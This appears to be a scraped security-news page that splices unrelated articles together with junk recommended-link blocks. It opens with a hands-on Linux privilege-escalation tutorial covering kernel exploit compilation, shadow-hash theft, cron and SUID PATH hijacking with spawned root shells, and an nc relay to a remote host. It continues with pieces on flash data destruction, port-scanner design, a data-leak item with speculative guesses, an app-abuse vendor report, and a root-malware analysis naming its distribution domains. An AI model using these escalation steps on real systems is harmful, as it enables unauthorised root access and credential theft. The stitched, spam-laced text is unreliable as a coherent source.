cat /etc/-release

查看内核版本

uname -a

这里我找了台机器测试:

#uname -a
Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/-release
DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"

这样,我们就得到了系统的内核版本(2.6.32-21 pae),cpu架构(i686),和发行版(ubuntu 10.04)

可以开始搜索了

大多内核漏洞通过内核版本能很快查到

用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchspoit linux 2.6 ubuntu priv esc

结果:

这么多,我们加入系统信息缩小范围

searchsploit linux priv esc 2.6 ubuntu 10

这样可选的exp就少多了,很无奈,我们需要漫长的点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此我们能够虽然很气,但也很快地去掉一些不具备利用条件的exp。比如第三个exp针对一个特别的磁盘格式,排除。

经过艰难的寻找,发现15704,c很顺眼,于是把源代码上传,然后:

#gcc exp.c
#lsexp.c
a.out#./a.out
id
uid=0(root) gid=0(root)

我们先编译exp再执行。可以看到exp执行以后没输出,但是我们其实已经得到rootshell了(exp执行以后一定敲个命令,不然都不知道是成功了还是卡了)

exploitdb的搜索过程虽然繁琐,但是能基本保证不会遗漏漏洞。如果想先偷懒图个快的话,我们可以试试https://www.kernel-exploits.com/,这里的exp已经按照内核版本分类了,而且有很多已经完成了编译。

比如我们搜索2.6.32:

这个rds的binary刚巧能用。“我收集信息了,我上传exp了,我就root了。“

当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌,不再赘述。

当内核版本没有好用的exp对应的时候,可以检查磁盘格式:

cat /etc/fstab

和已经安装的程序:

dpkg -l
rpm -qa

然后进行刚刚繁琐的搜索,没准就找到个bug

最后强调利用内核漏洞的几个注意点:

1.读源码,不然可能连编译都不会

2.读源码,不然费劲编译完才发现不适用

3.读源码,不然遇到一个删全盘的”exp“怎么办

明文root密码提权

passwd和shadow

虽然遇到的概率很小,但还是提一下

大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

这里是一个典型的passwd文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon::15730:0:99999:7:::
bin::15730:0:99999:7:::
sys::15730:0:99999:7:::
sync::15730:0:99999:7:::
games::15730:0:99999:7:::
man::15730:0:99999:7:::
lp::15730:0:99999:7:::
mail::15730:0:99999:7:::
news::15730:0:99999:7:::
uucp::15730:0:99999:7:::
proxy::15730:0:99999:7:::
www-data::15730:0:99999:7:::
backup::15730:0:99999:7:::
list::15730:0:99999:7:::
irc::15730:0:99999:7:::
gnats::15730:0:99999:7:::
nobody::15730:0:99999:7:::
libuuid:!:15730:0:99999:7:::
syslog::15730:0:99999:7:::
mysql:!:15730:0:99999:7:::
dovecot::15730:0:99999:7:::
sshd::15730:0:99999:7:::
postfix::15730:0:99999:7:::

shell命令来检查权限

cd /etc
ls -l passwd shadow

如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

and then?

有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

 python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456
Sorry, try again.
[sudo] password for www-data:

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。

SUID

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。

这里我们做个实验(环境为ubuntu 16.04):

c源代码

#include<stdlib.h>
#include <unistd.h>
 int main()
 {
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

以root进行编译和权限设置

gcc suid.c  -o suid-exp
chmod 4755 ./suid-exp#这里设置了SUID位
ls -l

输出

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp

注意s属性,表示这个程序有SUID的属性。

接下来我们切换用户并执行

su test
./suid-exp

可以看到程序实际上已经提升到了root权限。

SUID程序经常存在提权漏洞,比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。

我们进入test低权用户的shell

cat >> /tmp/cat <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
# 这里我们在/tmp建立了假的cat,它会用python执行一个shell
PATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序
./suid-exp#执行suid程序,因为PATH被劫持,system("cat /etc/shadow");会执行我们的假cat

运行结果

还有一种情况:管理员配置错误,把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候,我们需要自己的程序中使用setuid(0);来提权到root。这里有一个小技巧,我们用perl脚本来setuid:

#!/usr/bin/perl
$< = $>;
$( = $) = 0;
system ("/bin/sh"):

用这个简单的脚本劫持,就把shell运行在root权限下了。

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。

netstat -antup#查看各种网络服务

如果找到些神秘的服务,可以用netcat做个转发

mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

之后找漏洞,攻击,从头再来。

相关工具

提了那么配置错误的利用,却没说怎么找这些错误

分享两个脚本:

unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

这两个程序不止细致地检查了非常多的配置问题,更让人感动地列出了所有可写文件。基本上可以说他们的检查是足够全面的。

当然如果希望手动检查还是推荐 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

总结

Linux提权花样非常多,涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚,但是面对系统繁琐的工作过程和众多的发行版深感自己理解之浅。我很赞同在很多论坛上看到的对于linux提权的提示:你需要知道linux系统的工作方式。各种奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质,系统地了解系统才是保证安全的最佳方式。

参考资料

http://www.xinotes.net/notes/note/1529/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

联系方式

[email protected]

原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载

统一量刑标准捍卫信息安全

猜您喜欢

专访中国社科院国家法治指数研究中心主任田禾: 政务公开逐步健…
载体 天津国家信息安全产业基地 http://www.chinacybersecurity.org/20170322463.html
2016山西网络信息安全高峰论坛举行
中国企业走向世界,需融合全球安全文化,线上教程帮助您:
TTSDSCHOOLS FLATCREEKRANCH
多数安全运行中心SOC的投资面临难产困境
3·15晚会演绎诈骗情景剧 腾讯手机管家保护个人隐私安全

暗战:闪存产品数据安全攻防

本文原创作者:tgfreebuf,属Freebuf原创奖励计划,未经许可禁止转载

我们在谍战剧中时常可以看到情报机关由恐怖分子销毁的存储中恢复出片段数据,并据此进行下一步的抓捕行动,当然那是电影情节,不过随着闪存产品运用的日渐普及,围绕它的恢复和销毁的安全探讨也日益增多,在本文中我们尝试加以解析。

1.闪存数据恢复

目前常见的NAND Flash 数据恢复产品包括

Rusolut http://rusolut.com/

Ace Lab http://www.acelaboratory.com/

Soft Center http://www.soft-center.ru/

在本文中我们以Ace Lab的 PC-3000系列产品为例作为讲解

1.1  针对单闪存芯片可用PC-3000 Flash恢复

首先进行闪存拆焊(文中图片如无特别注明,均来自 PC-3000 支持博客)

1.jpg

之后上PC-3000 Flash进行恢复

2.jpg

1.2   针对SSD,可用PC-3000 SSD恢复

以下我们以一个Intel SSD为例,该盘由于固件模块损坏,导致数据已无法访问,我们尝试通过建立映射表的修复操作达到提取数据的目的。

进入修复程序,选择intel

3.jpg

选择系列

4.jpg

确认进入扩展技术模式

5.jpg

菜单选择“建立映射表”

6.jpg

建立映射表时模块部分的设定

7.jpg

建立完成

8.jpg

修改读取设定(之前的读取方式为技术指令方式,当映射关系正常建立后,应修改读取方式为映射表,以便后续进入DE提取数据),之后进入DE提取数据(Data Extractor,DE是与PC-3000产品配套使用的一款软件产品.拥有DE功能后用户可以从SSD上恢复数据.提取电子证据)

9.jpg

2.闪存数据销毁

总体来说,闪存产品(这里以大容量的SSD盘为例)销毁数据分两类:

一类是逻辑销毁,仅仅销毁数据,不损坏物理芯片;

逻辑销毁又分几类:一是数据的快速清除,一般通过外部开关让硬件清除脚位短路后,高效率的抹除Flash数据;另一种是数据覆盖和填充,相对比较费时。快速清除在实际操作中还是存在一定的风险,但是在紧急的情况下(比如电影情节中急需销毁数据时),快速清除还是有其存在的必要性。

10.jpg

图片来源: 创见官网

11.jpg

图片来源: 创见官网

另一类是物理销毁,即对芯片进行物理性的破坏,没有修复的可能。方式包括:重物压碎;化学溶液销毁;爆破销毁;高电压击穿芯片等。

12.jpg

源科军用标准固态盘—红色按钮高压击毁芯片,硬件不可用;绿色按钮进行逻辑销毁,硬件仍可用(图片来源: 源科官网)

3.结语

在电影中如果数据被完全销毁,那么故事情节可能又是另外一番结局,当然那只是电影。真实中数据安全的攻防就是高科技的抗衡,它是攻防两端能力的较量 ,我们只有不断关注攻防的消长,才能在动态平衡中实现安全。

本文原创作者:tgfreebuf,属Freebuf原创奖励计划,未经许可禁止转载

保密知识第一课——准确定密并正确标识国家秘密

猜您喜欢

幼儿园园长五年规划_it天空_ppt制作模板下载
Shanghai history of the most stringent food safety regulations on the implementation of the security system on the tongue (I) http://news.securityfrontline.org/201703214909.html
2016国考面试食品安全问题作答指南
网络安全公益短片扫描二维码的安全风险
WEBHOTLINK ANYSEND
安全意识教育培训重装上阵
抓住核心加固 教育部某考试平台实现安全升级

企业安全建设之路:端口扫描(上)

本文原创作者:bt0sea,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00、业务需求

由于工作关系,最近一年来都奔走在各大安全会议,无论是公开会议,例如:ISC互联网大会、freebuf互联网大会等、还是半公开的会议,例如某SRC组织的互联网金融会等。互联网安全运维人员都在谈自己企业的运维平台是如何建立的。这里我简单用思维导图总结一下:

安全运维管理平台.png

有一定研发能力的互联网安全团队都在建立自己的安全运管平台。我想这样做的目的是:

(1)半自动化或者全自动化安全运维规则,提高工作效率,降低人力成本。

(2)现有安全厂商提高的产品无法满足用户日益增长业务安全需求,业务架构变更。例如:日志管理部分,传统SIEM是无法满足 50万QPS Web日志处理能力,需要storm/spark架构处理。

(3)降低人员变动带来的业务安全的稳定性

当然这种安全投入是巨大的,而且需要持续发展才能摊平成本。

0×01、端口扫描需求分析

1、竞品获得需求:

传统扫描器 云扫描器 企业内网端口扫描器
检查模式 并发 分布式/并发 并发
IP端口资产管理 不支持 支持 支持
IP端口资产变更告警 不支持 支持 支持
检查是否开放违规端口 不支持 支持 支持

2、安全经验获得需求

操作系统分布 windows操作系统版本分布
web容器分布 IIS版本分布
数据库端口对外开放 mysql数据库版本分布
暴力破解协议分布 OpenSSH版本分布

3、简单数据挖掘分析获得需求

在此之前做了一部分数据采集工作,表一ip_result.csv主要记录主机IP、域名、是否存活和操作系统类型,表二ports_result.csv主要记录了地址、端口、服务、服务详细描述等,通过对本测试数据集的分析,找到我们的业务需求。首先要了解数据全貌,可以多个维度去分析数据,包括:可视化分析(pandas)、SQL方式分析、excel分析等。

(1)Pandas分析法:

在这之前想说一下为什么要可视化分析,因为,通过图形人们可以判断出趋势,举个小例子:

数据可视化.png

单纯的几组数字是看不出什么规律和趋势的,但是如果以矩阵的形式可视化后,大家对下一个点的出现就有趋势的判断了。

我们先了解一下我们的数据内容是什么,分别对两张表的数据导入到pandas中。

port表.png

数据全貌.png

然后对各个有意思的字段或者字段组合聚类分析,

ip表:os

port表:port、service、product&product_version、scripts_results(address字段由于是公网数据暂时忽略)

屏幕快照 2017-03-05 下午11.39.50.png

操作系统.png

屏幕快照 2017-03-05 下午11.41.34.png

操作系统分布2.png 

端口.png

服务分布.png

服务类型.png

pandas分析方法,多字段之间Group by比较麻烦,所以建议使用SQL分析法。

(2)SQL分析法:

把csv数据导入到postgresql数据库,执行:

SELECT port,count() as hit from ports_resultGROUP BY port ORDER BY hit DESC

SELECT
service,count()as hit from ports_resultGROUP BY serviceORDER BY hit DESC

SELECT
product,product_version,count() as hit from ports_resultGROUP BY product,product_version ORDER BY hit DESC

SELECT
scripts_results,count()as hit from ports_resultGROUP BY scripts_resultsORDER BY hit DESC

屏幕快照 2017-03-03 上午1.04.42.png

屏幕快照 2017-03-03 上午1.06.08.png

然后通过正则表达式过滤掉一些无用数据,就可以得到我们想要的数据,那么,通过以上数据的简单的分析,我们对已有的安全经验和竞品数据有更深入的了解数据的本质。

(3)机器学习分析

当然可以用更高级的数据挖掘手段去分析,比如:聚类、分类、回归、降维、时间序列、文本挖掘。首先要确定我们挖掘的目的,是确定我们安全报表的需求,也就是聚类的问题,那么如何实现呢?

在这里我们引入sklearn这个机器学习python库,它为我们选择机器学习算法提供了优化的路径:

sklearn.png

我们port表中大约有10000多条数据,根据算法选择可以看出,

1、样本数据>50条,不需要获取更多的数据

2、如果是分类的问题,数据是否标记,对于我们的数据来说是没有的,那就进入clustering象限

3、分类类型是已知还是未知的呢?对于我们的数据当然是未知的,因为我们不知道如何分类,这需要算法告诉我们。

4、那么我们的数据样本>1w条,建议使用Kmeans。

我们需要使用的算法已经确定,下一步就是把数据经过清洗后导入算法库运算。这里要注意几个问题:

1、数据要做预处理,去除掉空值

2、把有意义的string项转化成数字类型,方便机器学习算法处理

多说无用,上代码:

屏幕快照 2017-03-06 上午12.17.38.png

屏幕快照 2017-03-06 上午12.18.20.png

最终机器学习分析的图:

kmeans-4类.png

经过对k值的调整,发现分4类是最靠谱的。也就是说,对服务的分析做4类足够,http、https、ssh、rdp。

0×02、功能设计

1、设计目的:

版本规划 设计功能
V1.0 通过端口扫描模块获得内网IP端口资产,资产变更告警,违规告警规则设置 实现内网扫描、外网扫描、行业扫描
V1.1 增加端口资产拓扑图

备注:当前版本只上线V1.0功能。

2、用户场景

用户场景 对应功能
用户通过网络层面了解企业内部网络存在的资产 内网IP资产和端口扫描 (1)对存活主机探测 l 主机扫描范围设置 l 主机扫描结果存储 (2) 对存活主机端口探测 l 对主机扫描端口范围设置 l 端口扫描结果存储 (3)IP端口资产变更告警 l 提供周期性扫描设置 l Email报警 (4) 违规告警规则设置 l 内置数据库对外服务检查报警 (5) report l 操作系统类型分布 l 对外服务类型分布 l web服务器类型分布 l 远程访问服务类型分布
用户通过网络层面了解企业对外网络资产 外网IP资产和端口扫描 (1)对外网存活主机探测 l 主机扫描范围设置 l 主机扫描结果存储 (2) 对外网存活主机端口探测 l 对主机扫描端口范围设置 l 端口扫描结果存储 (3)IP端口资产变更告警 l 提供周期性扫描设置 l Email报警 (4) 违规告警规则设置 l 内置数据库对外读物检查报警 (5) report l操作系统类型分布 l 对外服务类型分布 lWEB服务类型分布 l 远程访问服务类型分布
用户想了解一下自己在所在行业安全指数 对行业IP资产和端口扫描 (1)行业资产录入 (2) 行业报告 操作系统类型分布 web服务类型分布 远程访问服务类型分布

0×03、总结

本节先简单说到这里,后面会详细描述:详细设计、交互设计、前端实现、后端实现、测试联调、安装部署等环节。本节重点讲述的是如果在需求分析阶段加入数据分析,帮助产品人员更好的设计产品。有不足之处还请各位大佬指教。

本文原创作者:bt0sea,本文属FreeBuf原创奖励计划,未经许可禁止转载

工作站安全最佳实践

猜您喜欢

西安汇能网络信息科技有限公司招聘销售精英
March Android Security Update Breaks SafetyNet, Android Pay http://news.chinacybersafety.com/201703145323.html
知道创宇云安全走进企业免费安全培训护航保险战略
如何防范智能手机LBS地理位置信息泄露
RUDRAKSHA-WORLD FORTHELOVEOFRAW
信息安全产业能为大量的中小企业帮上什么?
防止脱实向虚应从金融服务抓起

究竟是哪家企业泄露了近14亿数据?今天就会有详情公布

著名的“数据泄露搜寻者”Chris Vickery,3月3号发Twitter预告称将在美国当地时间3月6日公布一起“14亿身份信息泄露案”。

QQ截图20170306102834.png

随后在3月4号的又一条推文中,Vickery又将潜在被泄露的数据量减少了3万,精确到13.7亿。

C6Ckx6rVMAEuh6F.jpg

QQ截图20170306102850.png

作为macOS安全软件公MacKeeper的研究人员,Vickery发现漏洞的经历不少,也有着不错的信誉:他曾发现了一个被泄露的AWS服务器,其中涉及到美国军方特种作战司令部医疗健康专业人员和川普竞选团队。

从近14亿这个数量级的泄露规模来看,可能泄露数据的候选企业就不多了(考虑到雅虎去年已经让我们多次震惊了)。

国外媒体的小题提到,最有可能的受害企业是印度公民生物识别数据库“Aadhaar”,但是印度政府则辟谣称“在过去几天社交媒体或者纸媒都散布了错误信息”,并发表声明说“在过去的五年中没有任何事件能证明AadHaar的生物数据被滥用或造成过任何公民的财产损失”。

Aadhaar-Card.jpg

既然不是印度,那么能满足这个基数泄露数量的就很有可能是中国了,上周末中国政府正忙于中国人民代表大会,不知道此番数据泄露是否与会议的召开有关。

主要候选人清单如下:

Facebook:大家爱看电影《社交网络》吗?Facebook主服务器拥有超过20亿用户,Messenger也差不多有这么多用户,子公司WhatsApp的用户量差不多是Facebook的一半。

YouTube:不要幸灾乐祸感觉别家比你多,可能中奖的就是你。

微信:中文聊天社交平台,有超过十亿用户,人数直接赶超古代的一个王国。

腾讯:中国即时通讯平台QQ和社交网络Qzone都有超过数十亿的用户。

雅虎:雅虎的坏消息层出不穷,存在数十亿用户的数据库已经至少被搜刮了两次了。

苹果:Cupertino已经售出数十亿台iPhone手机,更别说iPods和Macs。很多用户会重复使用同一个账号意味着很可能实际的用户数量达不到14亿,不过Vickery也没说过那些被泄的数据都是独一无二的。

微软:超过20亿被使用的电脑,与苹果同理,也是潜在受害人。

一些数据收集公司:像是Oracle、Salesforce和Wayin都有巨大的数据库群,其中包括个人或企业数据。这些数据会被公司卖给营销人员或有其他用途。用户数据量同样不容忽视。

无论是谁,在美国时间3月6日,可能很多人需要修改密码或者删除账号了。至于后续情况如何,Freebuf将会持续关注。

参考来源:theregister,FB小编孙毛毛编译,转载请注明来自FreeBuf.COM

诺贝尔科学奖获得者也无法解决的高科技信息窃贼防范难题由信息安全意识教育来帮忙

猜您喜欢

赛门铁克第二财净亏损1.44亿美元 公司CFO也走人了
武汉招聘丨武汉康复得生物科技股份有限公司十七岗位招聘(包住宿) http://www.isvoc.com/201703053849.html
网络信息安全国产化提速 四龙头股最受益
网络安全公益短片防范移动僵尸网络
BLENTURE JUSTLEGGINZ
了解安全知识、意识和行为才能谈安全解决方法
加强信息保护和支付安全 防范电信网络欺诈宣传活动在银举行

移动APP安全行业报告电商篇

banner_内文.png

移动 APP 安全行业现状与导读

“ 移动应用开发者所面临的安全问题主要涉及面有终端漏洞威胁,应用重打包威胁,应用仿冒威胁。

本移动 APP 安全行业报告将对金融、电商、游戏三大重灾区行业进行举例分析并配以图表说明,还原移动 APP 安全行业本貌。本期来看电商篇。

上期金融篇链接:

金融篇——移动 APP 安全行业报告

现状概述

2016年移动电商APP总用户数量约6.3亿,其中约2.7亿用户遭受过不同程度安全问题,占比约43%。

电商行业移动用户规模 (1).png

电商行业移动 APP 受漏洞影响如图所示

高危占比14%:数据传输不安全导致用户订单泄露、篡改。

中危占比55%:本地数据存储不安全、用户隐私泄露。

低危占比29%:APP 业务逻辑被破解、算法剽窃。

电商行业移动 APP 漏洞评测.png

支付安全问题依旧位列电商行业移动 APP 安全问题之首,而被“薅羊毛”问题当属电商行业移动 APP 安全问题的代表。

电商-APP-安全问题类别.png

本篇报告我们针对电商行业移动 APP 代表性安全问题——被“薅羊毛”共同深入分析。

图示说话

与传统零售相比,用户网购体验流程区别较大,基本遵循下图所示的网购流程。

电商行业-APP-所遇到的安全问题.png

 网购流程图

每一个环节都可能引致重大的安全问题,电商 APP 也不例外。下面谈谈网购流程中较容易出现安全问题的三个环节:

账号注册-登录

电商 APP 的使用流程中,注册-登录过程都可以通过一些自动化工具来完成——批量注册账号、扫号。“羊毛党”们则利用了这一点, 刷取了大量的活动资源。因此,电商APP账号注册-登录系统则是电商平台打击黑产以及薅羊毛的第一道防线。

账号注册-登录.png

“羊毛党”们批量注册、扫号流程图

PS:扫号是指使用扫号器对账号、密码进行批量验证。

商品浏览

移动电商行业中,商家通过“平台活动”吸引用户、促进销量。而“羊毛党”则是通过“强占”商家的这种优质资源并转手真正的用户来谋利。损害了商家与用户的双向权益。

薅羊毛关系链.png

薅羊毛关系链

订单支付

支付系统是电商 APP 必不可少的一个模块,涉及到用户的账户密码、资金安全。用户在 APP 上支付时,数据如果不做有效保护,随时会被不法分子利用。 

案例说话

国内著名移动运营商遭黑卡薅羊毛,流量平台一月被抢8.2万G

2016年12月10日至2017年1月6日期间,某运营商的“有奖答题”营销活动被羊毛党疯狂利用,导致活动开始时网页崩溃,活动福利一抢而空。(参考链接

上述案例全过程分析

薄弱环节:无法鉴别真实用户

爆发这场“薅羊毛”大战的技术原因在于运营商(客户端APP、APP后台)无法有效识别出哪些是真实用户、哪些是羊毛党,也就是缺少图中所示的强大、高效的用户身份鉴别模块。

电商篇-02.png

身份鉴别模块作用示意图

突破关键:手机号验证已经不是门槛

为提高注册用户身份的真实性、过滤出高价值用户以及防止恶意注册、扫号,案例中的运营商使用了短信验证码。为此,如何突破短信验证码就成为薅羊毛的关键一步。如下图手机打码关系链图。

手机打码关系链.png

手机打码关系链

“薅羊毛”的产业链:分工有序

整个“薅羊毛”有着完备、成熟的产业体系。羊毛党们经过精心的准备,接下来的攻击和套现就变得简单化、便捷化。羊毛党们利用打码平台和卡商提供的海量手机号以及提供的打码服务在运营商的流量平台上批量注册账号,并用注册到的账号采用自动化的软件参与运行商的“有奖答题”活动。整个薅羊毛关系链暴露出这样的核心问题:单纯依据手机号码来鉴别用户已不足以满足电商 APP 被“薅羊毛”的安全需求。看看黑产在这个方向的专业分工:

黑产+1 (4).png

“薅羊毛”过程图示

解决方案

随着互联网的蓬勃发展,网购已经成为居民生活消费不可获取的重要部分。除了移动应用通用安全问题外,电商 APP 在业务安全方面存在的问题较大,腾讯云乐固针对电商 APP 提供了定制的安全解决方案。

乐固支付安全解决方案

采用高度定制的安全键盘,严格的双认证传输通道,确保输入数据安全以及输入层到传输层的数据安全,有效防止截屏、输入信息窃取等威胁。

乐固应用安全解决方案

乐固安全产品在源码、资源文件、运行时内存、逆向破解等方面对电商 APP 进行全方位保护。

乐固&天御业务安全解决方案

在 APP 集成短信验证码安全 SDK,与腾讯云乐固&天御防刷后台配合,有效防止批量注册、扫号以及“薅羊毛”等恶意行为,避免企业被刷带来的巨大经济损失。

联合防刷-防薅.png

多维度联合防刷-防薅

小结

对抗“羊毛党”,根源上是识别用户是否真实,是否可靠。电商平台需从多维度去鉴别、过滤。

腾讯云安全为用户提供了防刷安全解决方案,为电商平台业务安全保驾护航:   

使用腾讯云乐固,可对终端 APP 进行保护,进行数据加密、鉴权认证,防止在终端层面进行伪造和破解;   

而腾讯云天御,基于腾讯数十年积累的对抗经验,对各类黑产数据,如设备信息、手机号等可做到精准识别。并借助长期对抗建立起的恶意识别模型,快速感知异常行为,识别恶意请求。

本期对电商行业移动 APP 安全的分析先告一段落。

下期关键词预告:游戏行业、破解、重打包

获取移动 APP 安全行业安全问题详细解决方案请挪步这里,或者你对电商行业安全问题有不同见解,欢迎留言讨论

本文作者:云鼎实验室(企业帐号),转载请注明来自FreeBuf.COM

移动终端用户的安全行为手册

猜您喜欢

信息安全关高管们什么事
【警方提示】春季安全防范之饮水机防火知识 http://news.securemymind.com/201703041401.html
金融服务行业要加强员工安全意识培训
企业安全意识之歌
LUMP COM-KE30
网络安全产品白菜价
江苏移动外包呼叫中心坐席破万

手电筒惊现海量Root病毒:私自扣费、强装病毒、恶意弹窗

近期出现的手电筒root病毒,一旦在手机上成功安装后,即会通过私自发送扣费短信订制包月业务,造成用户话费损失,并注入大量恶意elf文件至手机system目录,危害用户手机系统安全。此外,此类病毒还会私自下载并安装大量恶意软件和推广软件到用户手机系统、 匿名弹出大量恶意广告,从而造成资费消耗并影响用户正常使用手机。

1.用户量情况

根据特征共找到575个样本;

Rom内周用户量:2441

Rom外周用户量:9736

Rom内用户量最高的样本:313

Rom外用户量最高的样本:5572

2.恶意行为

1)私自发送短信

部分私自发送的短信相关信息

图片1.png

2)恶意广告

在手机桌面弹出恶意弹窗广告

图片2.png

在手机桌面生成恶意广告桌面快捷方式

图片3.png

在手机桌面生成banner广告

图片4.png

通知栏推送大量广告

图片5.png

3)注入elf文件至手机/system/xbin与/system/bin,/system/lib目录

图片6.png

图片7.png

图片8.png

4)静默安装大量软件在手机rom内

图片9.png

4.病毒执行流程

流程图:

图片10.png

1)私自发送扣费短信行为简析

软件启动后解密assets目录下的文件cj.jar生成cj.dex

图片12.png

并调用com.yhmm.pdh.ExternalMain类中的getInstance方法进行初始化,并通过此模块监听拦截用户的短信

图片13.png

发送扣费短信

图片14.png

通过网络获取扣费信息内容

图片15.png

图片16.png

图片17.png

通过\lib\armeabi\libdlctqdi.so加载其他模块

图片18.png

2)恶意广告及私自下载推广软件模块简析

加密dex文件assets/res.zip被解密后存放在/data/data/com.adm.fran.lights/app_cache/res.zipDex文件包含打了的加密字符串,对其字符串进行解密,可以看出此文件用于获取广告。

图片19.png

图片20.png

通过对字符串解密可以看到广告信息,私自下载的推广软件来自域名http://dws.mappservice.net及sdk.76.com

广告信息存放在/data/data/包名目录下的数据库OcSDK_statistics_prom:

图片21.png

图片22.png

图片23.png

3)私自下载安装恶意软件至rom内行为简析

下载的root模块文件/data/data/com.adm.fran.lights/files/46e62f5d8ae276548888328caa74ff70/9aeb9e7c-f785-40a2-b060-6df66e7274bd.zip在root流程结束后判断是否root成功

图片24.png

装恶意软件至手机/system/priv-app/目录

图片25.png

4)注入恶意文件至system目录

病毒root后,wsroot.sh中注入并调用athima文件

图片26.png

athima中注入恶意文件至手机的/system/bin/,/system/xbin/,/system/lib/目录,同时把脚本/system/etc/install-recovery.sh文件注入

图片27.png

6)cufsdosck文件行为逻辑

图片28.png

创建线程/sbin/e2fsck_guard,最后通过pthread_create函数创建线程

图片29.png

sub_A9B4函数用于检测/system/bin/cufsdosck,/system/xbin/cufsdosck,/system/etc/install-recovery.sh文件是否存在

图片30.png

若不存在,则调用sub_B198函数,生成对应文件,并通过inotify_add_watch函数监视文件的动作

图片31.png

监视文件动作

图片32.png

并通过sub_B0B4函数调用sub_A204函数,并启动其他恶意服务

图片33.png

5.Root模块相关信息

文件/data/data/包名/files/2调用root大师的root方案进行提权

图片34.png

存放在/data/data/包名/tr/fileWork目录下的root方案

图片35.png

脚本wsroot.sh中的部分内容

图片36.png

6.传播渠道推测

样本首次收集来源分布图

图片37.png

分析用户量较大的样本,其中有不少疑似通过广告url下载的,如下:

图片38.png

因此推测传播范围较广的样本主要通过广告传播

7.溯源信息

获取广告配置信息来自域名sdk.76.com,此域名备案信息属于北京青信息技术有限公司

图片39.png

私自下载推广软件的域名http://dws.mappservice.net,此域名备案信息属于上海欧信息技术有限公司

图片40.png

部分加密文件:

http://2y37.xmglz.com

root模块

http://cdn.msz.com/s?z28

